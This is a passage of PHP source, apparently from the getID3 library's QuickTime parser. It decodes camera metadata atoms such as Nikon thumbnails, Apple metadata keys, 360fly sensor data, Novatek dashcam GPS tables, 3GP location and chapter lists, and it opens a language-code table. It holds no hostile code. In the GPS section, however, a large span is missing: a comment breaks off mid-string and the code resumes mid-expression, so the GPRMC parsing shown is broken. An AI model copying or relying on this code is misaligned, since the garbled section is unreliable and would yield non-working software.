(preg_match('#([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)?/$#i', $atom_data, $matches)) { @list($all, $latitude, $longitude, $altitude) = $matches; $info['quicktime']['comments']['gps_latitude'][] = floatval($latitude); $info['quicktime']['comments']['gps_longitude'][] = floatval($longitude); if (!empty($altitude)) { $info['quicktime']['comments']['gps_altitude'][] = floatval($altitude); } } else { $this->warning('QuickTime atom "©xyz" data does not match expected data pattern at offset '.$baseoffset.'. Please report as getID3() bug.'); } break; case 'NCDT': // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html // Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100 $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms); break; case 'NCTH': // Nikon Camera THumbnail image case 'NCVW': // Nikon Camera preVieW image // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html if (preg_match('/^\xFF\xD8\xFF/', $atom_data)) { $atom_structure['data'] = $atom_data; $atom_structure['image_mime'] = 'image/jpeg'; $atom_structure['description'] = (($atomname == 'NCTH') ? 'Nikon Camera Thumbnail Image' : (($atomname == 'NCVW') ? 'Nikon Camera Preview Image' : 'Nikon preview image')); $info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_data, 'description'=>$atom_structure['description']); } break; case 'NCTG': // Nikon - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG $atom_structure['data'] = $this->QuicktimeParseNikonNCTG($atom_data); break; case 'NCHD': // Nikon:MakerNoteVersion - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html case 'NCDB': // Nikon - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html case 'CNCV': // Canon:CompressorVersion - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Canon.html $atom_structure['data'] = $atom_data; break; case "\x00\x00\x00\x00": // some kind of metacontainer, may contain a big data dump such as: // mdta keys \005 mdtacom.apple.quicktime.make (mdtacom.apple.quicktime.creationdate ,mdtacom.apple.quicktime.location.ISO6709 $mdtacom.apple.quicktime.software !mdtacom.apple.quicktime.model ilst \01D \001 \015data \001DE\010Apple 0 \002 (data \001DE\0102011-05-11T17:54:04+0200 2 \003 *data \001DE\010+52.4936+013.3897+040.247/ \01D \004 \015data \001DE\0104.3.1 \005 \018data \001DE\010iPhone 4 // http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom(substr($atom_data, 4), $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms); //$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms); break; case 'meta': // METAdata atom // https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms); break; case 'data': // metaDATA atom static $metaDATAkey = 1; // real ugly, but so is the QuickTime structure that stores keys and values in different multinested locations that are hard to relate to each other // seems to be 2 bytes language code (ASCII), 2 bytes unknown (set to 0x10B5 in sample I have), remainder is useful data $atom_structure['language'] = substr($atom_data, 4 + 0, 2); $atom_structure['unknown'] = getid3_lib::BigEndian2Int(substr($atom_data, 4 + 2, 2)); $atom_structure['data'] = substr($atom_data, 4 + 4); $atom_structure['key_name'] = @$info['quicktime']['temp_meta_key_names'][$metaDATAkey++]; if ($atom_structure['key_name'] && $atom_structure['data']) { @$info['quicktime']['comments'][str_replace('com.apple.quicktime.', '', $atom_structure['key_name'])][] = $atom_structure['data']; } break; case 'keys': // KEYS that may be present in the metadata atom. // https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html#//apple_ref/doc/uid/TP40000939-CH1-SW21 // The metadata item keys atom holds a list of the metadata keys that may be present in the metadata atom. // This list is indexed starting with 1; 0 is a reserved index value. The metadata item keys atom is a full atom with an atom type of "keys". $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); $atom_structure['entry_count'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $keys_atom_offset = 8; for ($i = 1; $i <= $atom_structure['entry_count']; $i++) { $atom_structure['keys'][$i]['key_size'] = getid3_lib::BigEndian2Int(substr($atom_data, $keys_atom_offset + 0, 4)); $atom_structure['keys'][$i]['key_namespace'] = substr($atom_data, $keys_atom_offset + 4, 4); $atom_structure['keys'][$i]['key_value'] = substr($atom_data, $keys_atom_offset + 8, $atom_structure['keys'][$i]['key_size'] - 8); $keys_atom_offset += $atom_structure['keys'][$i]['key_size']; // key_size includes the 4+4 bytes for key_size and key_namespace $info['quicktime']['temp_meta_key_names'][$i] = $atom_structure['keys'][$i]['key_value']; } break; case 'uuid': // user-defined atom often seen containing XML data, also used for potentially many other purposes, only a few specifically handled by getID3 (e.g. 360fly spatial data) //Get the UUID ID in first 16 bytes $uuid_bytes_read = unpack('H8time_low/H4time_mid/H4time_hi/H4clock_seq_hi/H12clock_seq_low', substr($atom_data, 0, 16)); $atom_structure['uuid_field_id'] = implode('-', $uuid_bytes_read); switch ($atom_structure['uuid_field_id']) { // http://fileformats.archiveteam.org/wiki/Boxes/atoms_format#UUID_boxes case '0537cdab-9d0c-4431-a72a-fa561f2a113e': // Exif - http://fileformats.archiveteam.org/wiki/Exif case '2c4c0100-8504-40b9-a03e-562148d6dfeb': // Photoshop Image Resources - http://fileformats.archiveteam.org/wiki/Photoshop_Image_Resources case '33c7a4d2-b81d-4723-a0ba-f1a3e097ad38': // IPTC-IIM - http://fileformats.archiveteam.org/wiki/IPTC-IIM case '8974dbce-7be7-4c51-84f9-7148f9882554': // PIFF Track Encryption Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format case '96a9f1f1-dc98-402d-a7ae-d68e34451809': // GeoJP2 World File Box - http://fileformats.archiveteam.org/wiki/GeoJP2 case 'a2394f52-5a9b-4f14-a244-6c427c648df4': // PIFF Sample Encryption Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format case 'b14bf8bd-083d-4b43-a5ae-8cd7d5a6ce03': // GeoJP2 GeoTIFF Box - http://fileformats.archiveteam.org/wiki/GeoJP2 case 'd08a4f18-10f3-4a82-b6c8-32d8aba183d3': // PIFF Protection System Specific Header Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format $this->warning('Unhandled (but recognized) "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)'); break; case 'be7acfcb-97a9-42e8-9c71-999491e3afac': // XMP data (in XML format) $atom_structure['xml'] = substr($atom_data, 16, strlen($atom_data) - 16 - 8); // 16 bytes for UUID, 8 bytes header(?) break; case 'efe1589a-bb77-49ef-8095-27759eb1dc6f': // 360fly data /* 360fly code in this block by Paul Lewis 2019-Oct-31 */ /* Sensor Timestamps need to be calculated using the recordings base time at ['quicktime']['moov']['subatoms'][0]['creation_time_unix']. */ $atom_structure['title'] = '360Fly Sensor Data'; //Get the UUID HEADER data $uuid_bytes_read = unpack('vheader_size/vheader_version/vtimescale/vhardware_version/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/', substr($atom_data, 16, 32)); $atom_structure['uuid_header'] = $uuid_bytes_read; $start_byte = 48; $atom_SENSOR_data = substr($atom_data, $start_byte); $atom_structure['sensor_data']['data_type'] = array( 'fusion_count' => 0, // ID 250 'fusion_data' => array(), 'accel_count' => 0, // ID 1 'accel_data' => array(), 'gyro_count' => 0, // ID 2 'gyro_data' => array(), 'magno_count' => 0, // ID 3 'magno_data' => array(), 'gps_count' => 0, // ID 5 'gps_data' => array(), 'rotation_count' => 0, // ID 6 'rotation_data' => array(), 'unknown_count' => 0, // ID ?? 'unknown_data' => array(), 'debug_list' => '', // Used to debug variables stored as comma delimited strings ); $debug_structure['debug_items'] = array(); // Can start loop here to decode all sensor data in 32 Byte chunks: foreach (str_split($atom_SENSOR_data, 32) as $sensor_key => $sensor_data) { // This gets me a data_type code to work out what data is in the next 31 bytes. $sensor_data_type = substr($sensor_data, 0, 1); $sensor_data_content = substr($sensor_data, 1); $uuid_bytes_read = unpack('C*', $sensor_data_type); $sensor_data_array = array(); switch ($uuid_bytes_read[1]) { case 250: $atom_structure['sensor_data']['data_type']['fusion_count']++; $uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content); $sensor_data_array['mode'] = $uuid_bytes_read['mode']; $sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp']; $sensor_data_array['yaw'] = $uuid_bytes_read['yaw']; $sensor_data_array['pitch'] = $uuid_bytes_read['pitch']; $sensor_data_array['roll'] = $uuid_bytes_read['roll']; array_push($atom_structure['sensor_data']['data_type']['fusion_data'], $sensor_data_array); break; case 1: $atom_structure['sensor_data']['data_type']['accel_count']++; $uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content); $sensor_data_array['mode'] = $uuid_bytes_read['mode']; $sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp']; $sensor_data_array['yaw'] = $uuid_bytes_read['yaw']; $sensor_data_array['pitch'] = $uuid_bytes_read['pitch']; $sensor_data_array['roll'] = $uuid_bytes_read['roll']; array_push($atom_structure['sensor_data']['data_type']['accel_data'], $sensor_data_array); break; case 2: $atom_structure['sensor_data']['data_type']['gyro_count']++; $uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content); $sensor_data_array['mode'] = $uuid_bytes_read['mode']; $sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp']; $sensor_data_array['yaw'] = $uuid_bytes_read['yaw']; $sensor_data_array['pitch'] = $uuid_bytes_read['pitch']; $sensor_data_array['roll'] = $uuid_bytes_read['roll']; array_push($atom_structure['sensor_data']['data_type']['gyro_data'], $sensor_data_array); break; case 3: $atom_structure['sensor_data']['data_type']['magno_count']++; $uuid_bytes_read = unpack('cmode/Jtimestamp/Gmagx/Gmagy/Gmagz/x*', $sensor_data_content); $sensor_data_array['mode'] = $uuid_bytes_read['mode']; $sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp']; $sensor_data_array['magx'] = $uuid_bytes_read['magx']; $sensor_data_array['magy'] = $uuid_bytes_read['magy']; $sensor_data_array['magz'] = $uuid_bytes_read['magz']; array_push($atom_structure['sensor_data']['data_type']['magno_data'], $sensor_data_array); break; case 5: $atom_structure['sensor_data']['data_type']['gps_count']++; $uuid_bytes_read = unpack('cmode/Jtimestamp/Glat/Glon/Galt/Gspeed/nbearing/nacc/x*', $sensor_data_content); $sensor_data_array['mode'] = $uuid_bytes_read['mode']; $sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp']; $sensor_data_array['lat'] = $uuid_bytes_read['lat']; $sensor_data_array['lon'] = $uuid_bytes_read['lon']; $sensor_data_array['alt'] = $uuid_bytes_read['alt']; $sensor_data_array['speed'] = $uuid_bytes_read['speed']; $sensor_data_array['bearing'] = $uuid_bytes_read['bearing']; $sensor_data_array['acc'] = $uuid_bytes_read['acc']; array_push($atom_structure['sensor_data']['data_type']['gps_data'], $sensor_data_array); //array_push($debug_structure['debug_items'], $uuid_bytes_read['timestamp']); break; case 6: $atom_structure['sensor_data']['data_type']['rotation_count']++; $uuid_bytes_read = unpack('cmode/Jtimestamp/Grotx/Groty/Grotz/x*', $sensor_data_content); $sensor_data_array['mode'] = $uuid_bytes_read['mode']; $sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp']; $sensor_data_array['rotx'] = $uuid_bytes_read['rotx']; $sensor_data_array['roty'] = $uuid_bytes_read['roty']; $sensor_data_array['rotz'] = $uuid_bytes_read['rotz']; array_push($atom_structure['sensor_data']['data_type']['rotation_data'], $sensor_data_array); break; default: $atom_structure['sensor_data']['data_type']['unknown_count']++; break; } } //if (isset($debug_structure['debug_items']) && count($debug_structure['debug_items']) > 0) { // $atom_structure['sensor_data']['data_type']['debug_list'] = implode(',', $debug_structure['debug_items']); //} else { $atom_structure['sensor_data']['data_type']['debug_list'] = 'No debug items in list!'; //} break; default: $this->warning('Unhandled "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)'); } break; case 'gps ': // https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730 // The 'gps ' contains simple look up table made up of 8byte rows, that point to the 'free' atoms that contains the actual GPS data. // The first row is version/metadata/notsure, I skip that. // The following rows consist of 4byte address (absolute) and 4byte size (0x1000), these point to the GPS data in the file. $GPS_rowsize = 8; // 4 bytes for offset, 4 bytes for size if (strlen($atom_data) > 0) { if ((strlen($atom_data) % $GPS_rowsize) == 0) { $atom_structure['gps_toc'] = array(); foreach (str_split($atom_data, $GPS_rowsize) as $counter => $datapair) { $atom_structure['gps_toc'][] = unpack('Noffset/Nsize', substr($atom_data, $counter * $GPS_rowsize, $GPS_rowsize)); } $atom_structure['gps_entries'] = array(); $previous_offset = $this->ftell(); foreach ($atom_structure['gps_toc'] as $key => $gps_pointer) { if ($key == 0) { // "The first row is version/metadata/notsure, I skip that." continue; } $this->fseek($gps_pointer['offset']); $GPS_free_data = $this->fread($gps_pointer['size']); /* // 2017-05-10: I see some of the data, notably the Hour-Minute-Second, but cannot reconcile the rest of the data. However, the NMEA "GPRMC" line is there and relatively easy to parse, so I'm using that instead // https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730 // The structure of the GPS data atom (the 'free' atoms mentioned above) is following: // hour,minute,second,year,month,day,active,latitude_b,longitude_b,unknown2,latitude,longitude,speed = struct.unpack_from(' 90) ? 1900 : 2000); // complete lack of foresight: datestamps are stored with 2-digit years, take best guess $GPS_this_GPRMC['timestamp'] = $year.'-'.$month.'-'.$day.' '.$hour.':'.$minute.':'.$second.$ms; $GPS_this_GPRMC['active'] = ($GPS_this_GPRMC['raw']['status'] == 'A'); // A=Active,V=Void foreach (array('latitude','longitude') as $latlon) { preg_match('#^([0-9]{1,3})([0-9]{2}\\.[0-9]+)$#', $GPS_this_GPRMC['raw'][$latlon], $matches); list($dummy, $deg, $min) = $matches; $GPS_this_GPRMC[$latlon] = $deg + ($min / 60); } $GPS_this_GPRMC['latitude'] *= (($GPS_this_GPRMC['raw']['latitude_direction'] == 'S') ? -1 : 1); $GPS_this_GPRMC['longitude'] *= (($GPS_this_GPRMC['raw']['longitude_direction'] == 'W') ? -1 : 1); $GPS_this_GPRMC['heading'] = $GPS_this_GPRMC['raw']['angle']; $GPS_this_GPRMC['speed_knot'] = $GPS_this_GPRMC['raw']['knots']; $GPS_this_GPRMC['speed_kmh'] = $GPS_this_GPRMC['raw']['knots'] * 1.852; if ($GPS_this_GPRMC['raw']['variation']) { $GPS_this_GPRMC['variation'] = $GPS_this_GPRMC['raw']['variation']; $GPS_this_GPRMC['variation'] *= (($GPS_this_GPRMC['raw']['variation_direction'] == 'W') ? -1 : 1); } $atom_structure['gps_entries'][$key] = $GPS_this_GPRMC; @$info['quicktime']['gps_track'][$GPS_this_GPRMC['timestamp']] = array( 'latitude' => (float) $GPS_this_GPRMC['latitude'], 'longitude' => (float) $GPS_this_GPRMC['longitude'], 'speed_kmh' => (float) $GPS_this_GPRMC['speed_kmh'], 'heading' => (float) $GPS_this_GPRMC['heading'], ); } else { $this->warning('Unhandled GPS format in "free" atom at offset '.$gps_pointer['offset']); } } $this->fseek($previous_offset); } else { $this->warning('QuickTime atom "'.$atomname.'" is not mod-8 bytes long ('.$atomsize.' bytes) at offset '.$baseoffset); } } else { $this->warning('QuickTime atom "'.$atomname.'" is zero bytes long at offset '.$baseoffset); } break; case 'loci':// 3GP location (El Loco) $loffset = 0; $info['quicktime']['comments']['gps_flags'] = array( getid3_lib::BigEndian2Int(substr($atom_data, 0, 4))); $info['quicktime']['comments']['gps_lang'] = array( getid3_lib::BigEndian2Int(substr($atom_data, 4, 2))); $info['quicktime']['comments']['gps_location'] = array( $this->LociString(substr($atom_data, 6), $loffset)); $loci_data = substr($atom_data, 6 + $loffset); $info['quicktime']['comments']['gps_role'] = array( getid3_lib::BigEndian2Int(substr($loci_data, 0, 1))); $info['quicktime']['comments']['gps_longitude'] = array(getid3_lib::FixedPoint16_16(substr($loci_data, 1, 4))); $info['quicktime']['comments']['gps_latitude'] = array(getid3_lib::FixedPoint16_16(substr($loci_data, 5, 4))); $info['quicktime']['comments']['gps_altitude'] = array(getid3_lib::FixedPoint16_16(substr($loci_data, 9, 4))); $info['quicktime']['comments']['gps_body'] = array( $this->LociString(substr($loci_data, 13 ), $loffset)); $info['quicktime']['comments']['gps_notes'] = array( $this->LociString(substr($loci_data, 13 + $loffset), $loffset)); break; case 'chpl': // CHaPter List // https://www.adobe.com/content/dam/Adobe/en/devnet/flv/pdfs/video_file_format_spec_v10.pdf $chpl_version = getid3_lib::BigEndian2Int(substr($atom_data, 4, 1)); // Expected to be 0 $chpl_flags = getid3_lib::BigEndian2Int(substr($atom_data, 5, 3)); // Reserved, set to 0 $chpl_count = getid3_lib::BigEndian2Int(substr($atom_data, 8, 1)); $chpl_offset = 9; for ($i = 0; $i < $chpl_count; $i++) { if (($chpl_offset + 9) >= strlen($atom_data)) { $this->warning('QuickTime chapter '.$i.' extends beyond end of "chpl" atom'); break; } $info['quicktime']['chapters'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 8)) / 10000000; // timestamps are stored as 100-nanosecond units $chpl_offset += 8; $chpl_title_size = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 1)); $chpl_offset += 1; $info['quicktime']['chapters'][$i]['title'] = substr($atom_data, $chpl_offset, $chpl_title_size); $chpl_offset += $chpl_title_size; } break; case 'FIRM': // FIRMware version(?), seen on GoPro Hero4 $info['quicktime']['camera']['firmware'] = $atom_data; break; case 'CAME': // FIRMware version(?), seen on GoPro Hero4 $info['quicktime']['camera']['serial_hash'] = unpack('H*', $atom_data); break; case 'dscp': case 'rcif': // https://www.getid3.org/phpBB3/viewtopic.php?t=1908 if (substr($atom_data, 0, 7) == "\x00\x00\x00\x00\x55\xC4".'{') { if ($json_decoded = @json_decode(rtrim(substr($atom_data, 6), "\x00"), true)) { $info['quicktime']['camera'][$atomname] = $json_decoded; if (($atomname == 'rcif') && isset($info['quicktime']['camera']['rcif']['wxcamera']['rotate'])) { $info['video']['rotate'] = $info['quicktime']['video']['rotate'] = $info['quicktime']['camera']['rcif']['wxcamera']['rotate']; } } else { $this->warning('Failed to JSON decode atom "'.$atomname.'"'); $atom_structure['data'] = $atom_data; } unset($json_decoded); } else { $this->warning('Expecting 55 C4 7B at start of atom "'.$atomname.'", found '.getid3_lib::PrintHexBytes(substr($atom_data, 4, 3)).' instead'); $atom_structure['data'] = $atom_data; } break; case 'frea': // https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea // may contain "scra" (PreviewImage) and/or "thma" (ThumbnailImage) $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms); break; case 'tima': // subatom to "frea" // no idea what this does, the one sample file I've seen has a value of 0x00000027 $atom_structure['data'] = $atom_data; break; case 'ver ': // subatom to "frea" // some kind of version number, the one sample file I've seen has a value of "3.00.073" $atom_structure['data'] = $atom_data; break; case 'thma': // subatom to "frea" -- "ThumbnailImage" // https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea if (strlen($atom_data) > 0) { $info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'ThumbnailImage'); } break; case 'scra': // subatom to "frea" -- "PreviewImage" // https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea // but the only sample file I've seen has no useful data here if (strlen($atom_data) > 0) { $info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'PreviewImage'); } break; case 'cdsc': // timed metadata reference // A QuickTime movie can contain none, one, or several timed metadata tracks. Timed metadata tracks can refer to multiple tracks. // Metadata tracks are linked to the tracks they describe using a track-reference of type 'cdsc'. The metadata track holds the 'cdsc' track reference. $atom_structure['track_number'] = getid3_lib::BigEndian2Int($atom_data); break; default: $this->warning('Unknown QuickTime atom type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" ('.trim(getid3_lib::PrintHexBytes($atomname)).'), '.$atomsize.' bytes at offset '.$baseoffset); $atom_structure['data'] = $atom_data; break; } } array_pop($atomHierarchy); return $atom_structure; } /** * @param string $atom_data * @param int $baseoffset * @param array $atomHierarchy * @param bool $ParseAllPossibleAtoms * * @return array|false */ public function QuicktimeParseContainerAtom($atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) { $atom_structure = false; $subatomoffset = 0; $subatomcounter = 0; if ((strlen($atom_data) == 4) && (getid3_lib::BigEndian2Int($atom_data) == 0x00000000)) { return false; } while ($subatomoffset < strlen($atom_data)) { $subatomsize = getid3_lib::BigEndian2Int(substr($atom_data, $subatomoffset + 0, 4)); $subatomname = substr($atom_data, $subatomoffset + 4, 4); $subatomdata = substr($atom_data, $subatomoffset + 8, $subatomsize - 8); if ($subatomsize == 0) { // Furthermore, for historical reasons the list of atoms is optionally // terminated by a 32-bit integer set to 0. If you are writing a program // to read user data atoms, you should allow for the terminating 0. if (strlen($atom_data) > 12) { $subatomoffset += 4; continue; } return $atom_structure; } if (strlen($subatomdata) < ($subatomsize - 8)) { // we don't have enough data to decode the subatom. // this may be because we are refusing to parse large subatoms, or it may be because this atom had its size set too large // so we passed in the start of a following atom incorrectly? return $atom_structure; } $atom_structure[$subatomcounter++] = $this->QuicktimeParseAtom($subatomname, $subatomsize, $subatomdata, $baseoffset + $subatomoffset, $atomHierarchy, $ParseAllPossibleAtoms); $subatomoffset += $subatomsize; } return $atom_structure; } /** * @param string $data * @param int $offset * * @return int */ public function quicktime_read_mp4_descr_length($data, &$offset) { // http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html $num_bytes = 0; $length = 0; do { $b = ord(substr($data, $offset++, 1)); $length = ($length << 7) | ($b & 0x7F); } while (($b & 0x80) && ($num_bytes++ < 4)); return $length; } /** * @param int $languageid * * @return string */ public function QuicktimeLanguageLookup($languageid) { // http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-34353 static $QuicktimeLanguageLookup = array(); if (empty($QuicktimeLanguageLookup)) { $QuicktimeLanguageLookup[0] = 'English'; $QuicktimeLanguageLookup[1] = 'French'; $QuicktimeLanguageLookup[2] = 'German'; $QuicktimeLanguageLookup[3] = 'Italian'; $QuicktimeLanguageLookup[4] = 'Dutch'; $QuicktimeLanguageLookup[5] = 'Swedish'; $QuicktimeLanguageLookup[6] = 'Spanish'; $QuicktimeLanguageLookup[7] = 'Danish'; $QuicktimeLanguageLookup[8] = 'Portuguese'; $QuicktimeLanguageLookup[9] = 'Norwegian'; $QuicktimeLanguageLookup[10] = 'Hebrew'; $QuicktimeLanguageLookup[11] = 'Japanese'; $QuicktimeLanguageLookup[12] = 'Arabic'; $QuicktimeLanguageLookup[13] = 'Finnish'; $QuicktimeLanguageLookup[14] = 'Greek'; $QuicktimeLanguageLookup[15] = 'Icelandic'; $QuicktimeLanguageLookup[16] = 'Maltese'; $QuicktimeLanguageLookup[17] = 'Turkish'; $QuicktimeLanguageLookup[18] = 'Croatian'; $QuicktimeLanguageLookup[19] = 'Chinese (Traditional)'; $QuicktimeLanguageLookup[20] = 'Urdu'; $QuicktimeLanguageLookup[21] = 'Hindi'; $QuicktimeLanguageLookup[22] = 'Thai'; $QuicktimeLanguageLookup[23] = 'Korean'; $QuicktimeLanguageLookup[24] = 'Lithuanian'; $QuicktimeLanguageLookup[25] = 'Polish'; $QuicktimeLanguageLookup[26] = 'Hungarian'; $QuicktimeLanguageLookup[27] = 'Estonian'; $QuicktimeLanguageLookup[28] = 'Lettish'; $QuicktimeLanguageLookup[28] = 'Latvian'; $QuicktimeLanguageLookup[29] = 'Saamisk'; $QuicktimeLanguageLookup[29] = 'Lappish'; $QuicktimeLanguageLookup[30] = 'Faeroese'; $QuicktimeLanguageLookup[31] = 'Farsi'; $QuicktimeLanguageLookup[31] = 'Persian'; $QuicktimeLanguageLookup[32] = 'Russian'; $QuicktimeLanguageLookup[33] = 'Chinese (Simplified)'; $QuicktimeLanguageLookup[34] = 'Flemish'; $QuicktimeLanguageLookup[35] = 'Irish'; $QuicktimeLanguageLookup[36] = 'Albanian'; $QuicktimeLanguageLookup[37] = 'Romanian'; $QuicktimeLanguageLookup[38] = 'Czech'; $QuicktimeLanguageLookup[39] = 'Slovak'; $QuicktimeLanguageLookup[40] = 'Slovenian'; $QuicktimeLanguageLookup[41] = 'Yiddish'; $QuicktimeLanguageLookup[42] = 'Serbian'; $QuicktimeLanguageLookup[43] = 'Macedonian'; $QuicktimeLanguageLookup[44] = 'Bulgarian'; $QuicktimeLanguageLookup[45] = 'Ukrainian'; $QuicktimeLanguageLookup[46] = 'Byelorussian'; $QuicktimeLanguageLookup[47] = 'Uzbek'; $QuicktimeLanguageLookup[48] = 'Kazakh'; $QuicktimeLanguageLookup[49] = 'Azerbaijani'; $QuicktimeLanguageLookup[50] = 'AzerbaijanAr'; $QuicktimeLanguageLookup[51] = 'Armenian'; $QuicktimeLanguageLookup[52] = 'Georgian'; $QuicktimeLanguageLookup[53] = 'Moldavian'; $QuicktimeLanguageLookup[54] = 'Kirghiz'; $QuicktimeLanguageLookup[55] = 'Tajiki'; $QuicktimeLanguageLookup[56] = 'Turkmen'; $QuicktimeLanguageLookup[57] = 'Mongolian'; $QuicktimeLanguageLookup[58] = 'MongolianCyr'; $QuicktimeLanguageLookup[59] = 'Pashto'; $QuicktimeLanguageLookup[60] = 'Kurdish'; $QuicktimeLanguageLookup[61] = 'Kashmiri'; $QuicktimeLanguageLookup[62] = 'Sindhi'; $QuicktimeLanguageLookup[63] = 'Tibetan'; $QuicktimeLanguageLookup[64] = 'Nepali'; $QuicktimeLanguageLookup[65] = 'Sanskrit'; $QuicktimeLanguageLookup[66] = 'Marathi'; $QuicktimeLanguageLookup[67] = 'Bengali'; $QuicktimeLanguageLookup[68] = 'Assamese'; $QuicktimeLanguageLookup[69] = 'Gujarati'; $QuicktimeLanguageLookup[70] = 'Punjabi'; $QuicktimeLanguageLookup[71] = 'Oriya'; $QuicktimeLanguageLookup[72] = 'Malayalam'; $QuicktimeLanguageLookup[73] = 'Kannada'; $QuicktimeLanguageLookup[74] = 'Tamil'; $QuicktimeLanguageLookup[75] = 'Telugu'; $QuicktimeLanguageLookup[76] = 'Sinhalese'; $QuicktimeLanguageLookup[77] = 'Burmese'; $QuicktimeLanguageLookup[78] = 'Khmer'; $QuicktimeLanguageLookup[79] = 'Lao'; $QuicktimeLanguageLookup[80] = 'Vietnamese'; $QuicktimeLanguageLookup[81] = 'Indonesian'; $QuicktimeLanguageLookup[82] = 'Tagalog'; $QuicktimeLanguageLookup[83] = 'MalayRoman'; $QuicktimeLanguageLookup[84] = 'MalayArabic'; $QuicktimeLanguageLookup[85] = 'Amharic'; $QuicktimeLanguageLookup[86] = 'Tigrinya'; $QuicktimeLanguageLookup[87] = 'Galla'; $QuicktimeLanguageLookup[87] = 'Oromo'; $QuicktimeLanguageLookup[88] = 'Somali'; $QuicktimeLanguageLookup[89] = 'Swahili'; $QuicktimeLanguageLookup[90] = 'Ruanda'; $QuicktimeLanguageLookup[91] = 'Rundi'; $QuicktimeLanguageLookup[92] = 'Chewa'; $QuicktimeLanguageLookup[93] = 'Malagasy'; $QuicktimeLanguageLookup[94] = 'Esperanto'; $QuicktimeLanguageLookup[128] = 'Welsh'; $QuicktimeLanguageLookup[129] = 'Basque'; $QuicktimeLanguageLookup[130] = 'Catalan'; $QuicktimeLanguageLookup[131] = 'Latin'; $QuicktimeLanguageLookup[132] = 'Quechua'; $QuicktimeLanguageLookup[133] = 'Guarani'; $QuicktimeLanguageLookup[134] = 'Aymara'; $QuicktimeLanguageLookup[135] = 'Tatar'; $QuicktimeLanguageLookup[136] = 'Uighur'; $QuicktimeLanguageLookup[137] = 'Dzongkha'; $QuicktimeLanguageLookup[138] = 'JavaneseRom'; $QuicktimeLanguageLookup[32767] = 'Unspecified'; } if (($languageid > 138) && ($languageid < 32767)) { /* ISO Language Codes - http://www.loc.gov/standards/iso639-2/php/code_list.php Because the language codes specified by ISO 639-2/T are three characters long, they must be packed to fit into a 16-bit field. The packing algorithm must map each of the three characters, which are always lowercase, into a 5-bit integer and then concatenate these integers into the least significant 15 bits of a 16-bit integer, leaving the 16-bit integer's most significant bit set to zero. One algorithm for performing this packing is to treat each ISO character as a 16-bit integer. Subtract 0x60 from the first character and multiply by 2^10 